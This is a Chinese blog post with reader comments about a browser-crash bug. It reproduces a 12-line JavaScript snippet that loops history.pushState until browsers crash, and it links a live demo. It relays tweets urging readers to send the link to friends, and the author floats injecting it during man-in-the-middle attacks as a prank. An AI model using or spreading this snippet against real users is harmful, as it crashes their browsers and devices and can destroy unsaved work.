代码审计

首页 - 代码审计 - HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启?

吓死本宝宝了

起因

今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iPhone using this javascript code. #dos #0day #exploit
//使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。
Cyber Security

继续在推特上深挖发现IT Security Tweets ™ @F1r3h4nd 于17日发推:

Crash your friend's browser and restart iPhone with a link which has this script: #0day
//把带有下面这个脚本的链接发给你的朋友,能让你朋友的浏览器崩溃,而且让iPhone重启。
Crash your friend's browser and restart iPhone with a link which has this script: #0day

完整HTML代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
   total= total+i.toString();
   history.pushState(0,0,total);
}
</script>
</body>
</html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)

www.0xroot.cn/demo.html (点击一下,又不会怀孕!)

接来下会发生什么?

点开以后,我的状态是这样的:

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…

思考

这是Bug还是0day?为什么会有这一现象?如何实现的?

有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的...)

欢迎大家在评论中发表自己的观点 :)

demo页面流量

demo

微博评论/讨论摘取

来自微博用户@十年磨一健的最佳评论:感谢……我的iPhone电源键坏掉了,一直不知道如何关机和重启,这个网址好啊。。。                        
怀孕了...
好有趣...
好可怕...
整蛊不错
我已祸害了好多人(卖萌脸(づ ̄ 3 ̄)づ)
崩溃了
火狐假死10秒后弹窗提示脚本无响应可停止难道是history的栈溢出么?
可以可以,新姿势get√
JS是世界上最好的语言!
hist.pushState是干嘛用的?
电脑正在重启
不能只让我一个人中招
我为什么会手贱?
Chrome隐身模式没有问题啊
(0)
Loading收藏(0)

本文由 老D博客 作者:老D 发表,转载请注明来源!

关键词:, , ,
SS推荐

热评文章

发表评论

*

评论: 24 条评论,访客:24 条,博主:0 条

  • asd
    asd 发布于:  回复

    记得清理一下历史纪录…

  • 临江鱼
    临江鱼 发布于:  回复

    我。。。怀孕了,重启电脑,任务管理器都打不开

  • 残叶
    残叶 发布于:  回复

    用Edge游览器后一点事也没有,8G内存,瞬间使用率64%,然后地址栏就出现很长一串地址,网页内容也显示出来了——“恭喜你,你已经怀孕了! ”,一点也不卡啊。

  • 233
    233 发布于:  回复

    我一点开啥事也没有,CPU总利用率从1%上升到50%,浏览器正常(电脑不卡顿),但是还是没有问题?(配置:chrome 51.0.2704.106 m,windows 10),

  • 润明
    润明 发布于:  回复

    说不能用你用什么浏览器啊。。。我chrome一开就卡死了

  • Corps
    Corps 发布于:  回复

    不是BUG,是浏览器没做好审查.浏览器用单线程处理页面,但是历史记录存储需要主线程参与.所以导致了主线程死机,继而占满CPU导致电脑死机

  • youngzy
    youngzy 发布于:  回复

    看了一下,pushstate方法用来无刷新改变url,这里循环访问100万个404网页(不是死循环,只要等的时间够长会听下来吧)且地址越来越长。

  • 余笑添
    余笑添 发布于:  回复

    实际上并不需要这样就能进入死循环。

  • jgh
    jgh 发布于:  回复

    不能用了

  • xnlutl
    xnlutl 发布于:  回复

    用IE打开没事,用谷歌直接打开,浏览器不动了,任务栏也很卡。幸好强大的WIN7的任务管理器没完全卡死,用他结束谷歌浏览器的进程就好了

  • GlacJAY
    GlacJAY 发布于:  回复

    Firefox Windows 版转了一会儿就弹框提示是否停止执行脚本了,不会死掉。

  • 盛夏未央
    盛夏未央 发布于:  回复

    edge直接告诉我恭喜 你已经怀孕了······

  • 炸鱼的鲁迅
    炸鱼的鲁迅 发布于:  回复

    firefox内存1.8Gb最高然后cpu20%

  • CCa
    CCa 发布于:  回复

    Edge 内存3.1/11.8GB

  • aiuco
    aiuco 发布于:  回复

    卡巴斯基直接阻止了。。。

  • 锋锋
    锋锋 发布于:  回复

    作死打开后,扔在那里不管跑去洗澡,洗完澡后,才发现电脑直接懵逼了,按主机上的重启键,按了好几下才重启!!!

  • laoE
    laoE 发布于:  回复

    U占用率一直在34%左右,内存占用一直在慢慢增加,到6.5G左右chrome自己闪退了

  • ss
    ss 发布于:  回复

    原理是连续跳转至以下地址
    XXX/1
    XXX/12
    XXX/123

    XXX/1234567891011121314

    直到最后数字到达一百万,导致占用内存急剧飙升。

  • Vquire
    Vquire 发布于:  回复

    我只能表示win10的edge毫无压力

  • 初七
    初七 发布于:  回复

    laod你太坏了,4G内存直接就满了,i5-4590直接80%。
    重启IIS才好的

  • xz.wang
    xz.wang 发布于:  回复

    年前出的,原版不是这个网页。应该是向浏览器中添加了太多的历史记录

  • 香港独立IP主机
    香港独立IP主机 发布于:  回复

    这12行代码感觉好牛逼的样子,可以让你的浏览器崩溃iPhone重启

  • 依云
    依云 发布于:  回复

    不嵌入 tweet 也就算了,原推的链接也没给呀?